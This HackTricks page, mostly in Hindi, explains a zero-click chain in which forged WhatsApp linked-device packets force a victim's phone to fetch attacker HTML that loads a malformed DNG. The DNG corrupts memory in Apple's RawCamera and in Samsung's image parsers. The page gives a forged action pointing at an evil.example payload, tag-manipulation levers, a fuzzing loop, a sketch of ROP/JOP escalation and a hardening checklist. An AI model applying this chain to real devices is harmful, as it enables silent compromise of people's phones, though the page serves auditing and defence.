ज़ीरो-क्लिक मैसेजिंग → इमेज पार्सर चेन

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

TL;DR

  • संदेश ऐप के multi-device/companion protocols को remote control channels की तरह देखें: अगर protocol फ़ील्ड्स को trusted devices से आने वाला माना जाता है, तो वे अभी भी user-controlled हो सकते हैं और अक्सर किसी शिकार के खिलाफ सीधे replay करके arbitrary कंटेंट लोड करने के लिए उपयोग किए जा सकते हैं, वो भी 0 user interaction के साथ।
  • जब किसी भी ऐप को अनट्रस्टेड मीडिया fetch करने के लिए मजबूर किया जा सके, तो malformed फाइल्स के साथ shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) को निशाना बनाएं ताकि sandbox से pivot किया जा सके।
  • यहाँ चर्चा किए गए DNG-based RawCamera और Samsung parser बग concrete उदाहरण हैं, लेकिन पूरा तरीका एक reusable ब्लूप्रिंट है जो logic flaws → image parser memory corruption → full device compromise जैसी चेन बनाता है।

WhatsApp linked-device commands के माध्यम से रिमोट कंटेंट लोडिंग

Attack surface का सार

WhatsApp “linked devices” आर्किटेक्चर primary फोन और हर companion (desktop, tablet, secondary phone) को encrypted, structured protocol messages के माध्यम से sync में रखता है। हर message में शामिल होते हैं:

  • Device metadata (device ID, capabilities, feature flags).
  • Action descriptors (e.g., sync chats, fetch thumbnails, render remote content).
  • Arbitrary parameters such as URIs, MIME hints, pagination keys, etc.

Apple clients पर, जो handler इन linked-device control packets को प्रोसेस करता है वो implicitly trusted करता था कि एक वैध pairing पहले ही हो चुकी है, इसलिए high-impact fields (e.g., resource_url, open_media, sync_snapshot) की केवल न्यूनतम validation होती थी। एक malicious companion message इसलिए कर सकता था:

  1. किसी भी account तक रूट किया जा सकता जो उसके phone number से पहचाना गया हो।
  2. Transport stack (Noise protocol + WhatsApp protobuf framing) को पार कर सकता क्योंकि receiver ने कभी verify नहीं किया कि sender वास्तव में paired device था।
  3. iOS client तक पहुँच सकते थे, जहाँ vulnerable code path automatically एक background HTTP(S) request को attacker URL पर ट्रिगर करता और response को एक hidden WebView/media renderer में पार्स करता।

Auditors के लिए Practical workflow

  1. Capture legitimate linked-device traffic. Desktop/iOS client से debugger या Frida script attach करें और post-decryption handler (e.g., LinkedDevicesSyncHandler::processAction) को hook करें। decoded protobuf payloads को dump करें ताकि उपलब्ध action types और parameters का पता चले।
  2. Identify fields that cross trust boundaries. कोई भी action जिसमें strict allow-lists के बिना http_url, thumbnail_uri, download_url, या render_html जैसे parameters हों, वह candidate remote-content primitive है।
  3. Forge a malicious action. देखे गए protobuf schema को reuse करें और केवल attacker-controlled fields को modify करें। नीचे संबंधित logical structure का एक simplified JSON दृश्य दिखाया गया है (वास्तविक transport protobuf/Noise है, लेकिन semantic fields मेल खाते हैं):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
  1. पीड़ित को पहुँचाएं। Replay the crafted packet through the same WhatsApp service that normally forwards linked-device traffic (e.g., using a modified desktop client or a custom Noise client reusing your attacker account keys). Because CVE-2025-55177 failed to tie actions to authenticated devices, the victim iOS/macOS client would accept the message and immediately fetch the attacker URL without any UI.
  2. फेच का निरीक्षण करें। Observe the forced HTTP(S) request and the internal renderer (WKWebView/ImageIO). At this point you own a zero-click web delivery primitive inside WhatsApp.

Weaponizing auto-decoded DNGs against RawCamera

Once the attacker controls what WhatsApp loads, the next goal is to make iOS/macOS parse a malicious Digital Negative (DNG) file with the RawCamera framework. Any embedded <img>/CSS URL that resolves to a .dng will be passed to the system image pipeline, invoking RawCamera even if WhatsApp itself never handled DNGs explicitly.

Triggering RawCamera from WhatsApp

  • Serve HTML that references the DNG via multiple mechanisms (e.g., <img src="evil.dng">, CSS background-image: url('evil.dng'), or <picture> sources) to cover different render paths.
  • Ensure correct MIME (image/x-adobe-dng) and small previews so the loader does not bail early because of size heuristics.
  • The iOS media sandbox will stream the file into RawCamera via CGImageSourceCreateWithURL, eventually hitting the vulnerable decoder.

Crafting memory-corrupting DNGs (CVE-2025-43300 style)

The reproduced bug relied on inconsistent metadata that desynchronized buffer allocation from actual pixel reads. Typical levers include:

  • Tile/strip descriptors: Set TileByteCounts/StripByteCounts to realistic values but increase TileOffsets to point beyond the allocated buffer.
  • Sub-IFD chains: Embed secondary images with conflicting ImageWidth/ImageLength and BitsPerSample so RawCamera computes a small buffer while later stages trust attacker-controlled dimensions.
  • Opcode metadata: Manipulate OpcodeList3 entries so that per-row processing operates on attacker-chosen indexes.

A basic mutation harness to hunt for such corruptions can be built around macOS, since the same RawCamera code ships on macOS/iOS/iPadOS:

#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done

Each crash in RawCamera gives you a new primitive. The published PoC achieved a neat out-of-bounds read/write reliable enough to crash WhatsApp on iPhone, iPad, and Mac.

0-click chain का निर्माण

  1. Linked-device packet → WhatsApp को बिना किसी taps के https://evil.example/payload.html को fetch करने के लिए मजबूर करता है।
  2. Payload HTML → मौन तरीके से evil.dng का reference देता है, जिससे OS media stack द्वारा RawCamera का invoked होना सुनिश्चित होता है।
  3. Malicious DNG → crafted tags का दुरुपयोग कर के RawCamera OOB को trigger करता है और image decoder को crash/own कर देता है।
  4. Post-corruption exploitation → info-leak gadgets जोड़ें (जैसे predictable heap metadata का दुरुपयोग) और WhatsApp sandbox से बाहर निकलने व अधिक privileged contexts में पहुँचने के लिए ROP/JOP chain स्टेज करें।

क्योंकि हर कदम automatic है, attacker को केवल victim का phone number चाहिए। लक्षित डिवाइस पर कोई सूचनाएं, बैनर या प्रॉम्प्ट नहीं दिखाई देते।

Samsung vendor image parser के समानताएँ

Samsung’s bulletin for CVE-2025-21043 confirmed that their proprietary image parsing stack (used by Gallery, Messages, and also indirectly by WhatsApp) suffered an out-of-bounds write reachable through untrusted media. The exploitation methodology mirrors the Apple chain:

  • Identify an auto-preview vector (chat thumbnails, notification previews, share sheets) that parses the attacker file with Samsung’s libimagecodec/libOneUI_ImageDecoder libraries.
  • Diff OEM library updates or fuzz parsers with malformed RAW/DNG files until you see memory corruptions similar to the RawCamera crash (heap metadata clobber, register control, etc.).
  • Deliver the crafted file through any channel that already auto-loads content (e.g., the same linked-device primitive, WhatsApp preview fetchers, or Android’s push-to-talk waveform previews).

एक बार vendor parser में OOB write मौजूद होने पर, इसे WhatsApp auto-fetch primitive के साथ combine करने से Samsung devices पर एक और zero-click chain बन जाती है।

Testing और hardening चेकलिस्ट

  • Protocol validation: प्रत्येक linked-device action के लिए कड़े allow-lists लागू करें। Companion commands जो fetch/render का अनुरोध करते हैं उन्हें device pairing साबित करना चाहिए (payload पर signing) और URL को allow-list या signed blob से मेल खाना चाहिए।
  • Transport replay countermeasures: प्रत्येक action को per-device key से बाइंड करें और उन packets को reject करें जिनके sender key अज्ञात हों, भले ही protobuf syntax सही हो।
  • Media pipeline restrictions: High-level apps केवल approved MIME types की अनुमति दें और RAW/DNG को स्पष्ट रूप से reject करें जब तक कि फीचर आवश्यक न हो।
  • Parser fuzzing regression tests: malformed RAW/DNG files का एक corpora रखें और हर अपडेट के बाद उन्हें RawCamera/vendor decoders के खिलाफ चलाएँ।
  • Crash triage automation: fuzz devices पर DYLD_INSERT_LIBRARIES sanitizers या MTE attach करें ताकि attackers से पहले सूक्ष्म OOB स्थितियों को पकड़ सकें।

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें